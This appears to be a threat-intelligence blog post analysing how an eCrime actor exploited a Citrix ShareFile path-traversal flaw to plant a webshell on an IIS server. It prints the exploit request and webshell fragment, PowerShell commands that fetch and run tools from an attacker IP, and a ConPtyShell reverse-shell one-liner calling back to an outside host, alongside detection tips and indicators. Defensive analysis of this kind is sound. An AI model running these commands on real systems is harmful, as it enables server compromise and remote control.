PROPHET SPIDER Exploits Citrix ShareFile

crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/

Chris Nguyen - Eric Loui March 7, 2022

At the start of 2022, CrowdStrike Intelligence and CrowdStrike Services investigated an incident in which PROPHET SPIDER exploited CVE-2021-22941 — a remote code execution (RCE) vulnerability impacting Citrix ShareFile Storage Zones Controller — to compromise a Microsoft Internet Information Services (IIS) web server. The adversary exploited the vulnerability to deploy a webshell that enabled the downloading of additional tools. This incident highlights how PROPHET SPIDER continues to evolve their tradecraft while continuing to exploit known web-server vulnerabilities.

Background

PROPHET SPIDER

PROPHET SPIDER is an eCrime actor, active since at least May 2017, that primarily gains access to victims by compromising vulnerable web servers, which commonly involves leveraging a variety of publicly disclosed vulnerabilities. The adversary has likely functioned as an access broker — handing off access to a third party to deploy ransomware — in multiple instances.

CVE-2021-22941

In September 2021, Citrix disclosed a relative path-traversal vulnerability in ShareFile Zones Storage Controller, designated CVE-2021-22941. Shortly thereafter, security researchers demonstrated a proof-of-concept (POC) exploit for the CVE. Based on the known technical details, others were able to reproduce fully weaponized exploits for CVE-2021-22941 that have proliferated since mid-October 2021. The vulnerability allows an adversary to overwrite an existing file on a target server via an `uploadid` parameter passed in an HTTP `GET` request.

Initial Access and Exploitation

On Jan. 10, 2022, PROPHET SPIDER sent an HTTP `POST` request to an IIS server of a CrowdStrike Falcon® platform customer, using the user agent `python-requests/2.26.0`. The request to `/upload.aspx` contained the following command:

```
POST /upload.aspx?
uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.
```

There are three key components to this request.

The URI endpoint `/upload.aspx` is used for ShareFile uploads and usually comes with parameters to define upload object specifications, such as uploadid, cid or batchid. In this case, the uploadid parameter contained a webshell:

```
uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+in
```

This is content that the exploit will write to an ASP.NET file; it uses Razor syntax, where `@<keyword>` allows a keyword to be used as a variable name, and `@{` is used to open a C# code block. The C# `Process.Start(cmd,arg);` method provides the backdoor function that will be used to execute arbitrary commands.

```
/../../ConfigService\Views\Shared\Error.cshtml
```

This is the relative path traversal that will allow the payload to overwrite the legitimate `Error.cshtml` page.

```
bp=123&accountid=123
```

These are parameters that are expected by the upload function and included to prevent an error from occurring. Additionally, these values match the default characters used in the previously mentioned publicly available CVE-2021-22941 exploit.

Analysts looking for evidence of attempted CVE-2021-22941 exploitation can examine IIS access logs for web requests that:

- Target `upload.aspx`

- Contain encoded strings for `../` and `ConfigService\Views\Shared\Error.cshtml` in the URL parameters
- May contain `&bp=123&accountid=123` if the attacker has not customized the payload

Once the webshell is set, it can be accessed by sending an HTTP request to `/configservice/Home/Error` with one or two URL parameters. ASP.NET will direct these requests to `Error.cshtml`, which usually contains a simple HTML header saying "Sorry, an error occurred while processing your request." Due to the exploit, the contents have been replaced with the C# code block and will invoke `Process.Start(cmd.arg)` using the URL parameter(s) passed in the `GET` request.

Post-exploitation Commands

After achieving initial access, PROPHET SPIDER used the following command to test connectivity:

```
CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net</code
```

If successful, this command performs a name lookup on a subdomain of `burpcollaborator[.]net`, which the open-source vulnerability-testing tool BurpSuite can check to confirm responding systems.

The adversary next attempted to execute encoded PowerShell commands that decoded to:

```
powershell -Command (New-Object
System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:\Windo
```

```
cmd /c c:\Windows\temp\wget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O
c:\windows\temp\wi.exe
```

These commands attempted to download the legitimate `wget` utility from a remote IP address, then attempted to use `wget` to download another remote binary, named `winn.exe`. The `winn.exe` download was unsuccessful. The adversary then attempted to install an open-source reverse shell from GitHub:

```
powershell -Command IEX(IWR
https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-
ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -
RemotePort 4242 -Rows 44 -Cols 166
```

This payload attempted to load the `ConPtyShell` reverse shell directly from GitHub, with parameters to connect back to the IP address `107.181.187[.]184` over TCP port `4242`.

Conclusion

As CrowdStrike Intelligence previously reported, PROPHET SPIDER is an opportunistic eCrime actor that exploits publicly disclosed server vulnerabilities, often to deliver webshells. This recent CVE-2021-22941 exploitation demonstrates the adversary's willingness to operationalize new and different exploit code, as well as their enduring preference for deploying the `wget` utility to begin operations.

Indicators of Compromise (IOCs)

Description	IP Addresses
Site hosting `wget.bin` and `winn.exe`	`45.61.136[.]39`
Callback destination for `ConPtyShell` reverse shell	`107.181.187[.]184`
Source observed exploiting CVE-2021-22941	`188.119.149[.]160`
Site hosting `ConPtyShell` reverse shell	`hxxps[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1`

MITRE ATT&CK® Observed Tactics

Tactic	Description
Initial Access	T1190: Exploit Public Facing Application
Execution	T1059.001: Command and Scripting Interpreter: PowerShell
Persistence	T1505.003: Server Software Component: Web Shell
Command and Control	T1071: Application Layer Protocol
	T1105: Ingress Tool Transfer

Additional Resources

- *Read more about CrowdStrike's observations of PROPHET SPIDER activity in this blog: PROPHET SPIDER Exploits Oracle WebLogic to Facilitate Ransomware Activity.*
- *To learn more about how to incorporate intelligence on threat actors into your security strategy, visit the Falcon X™ Premium Threat Intelligence page.*
- *Visit the CrowdStrike website to learn more about CrowdStrike Services.*
- *Get a full-featured free trial of CrowdStrike Falcon Prevent™ and learn how true next-gen AV performs against today's most sophisticated threats.*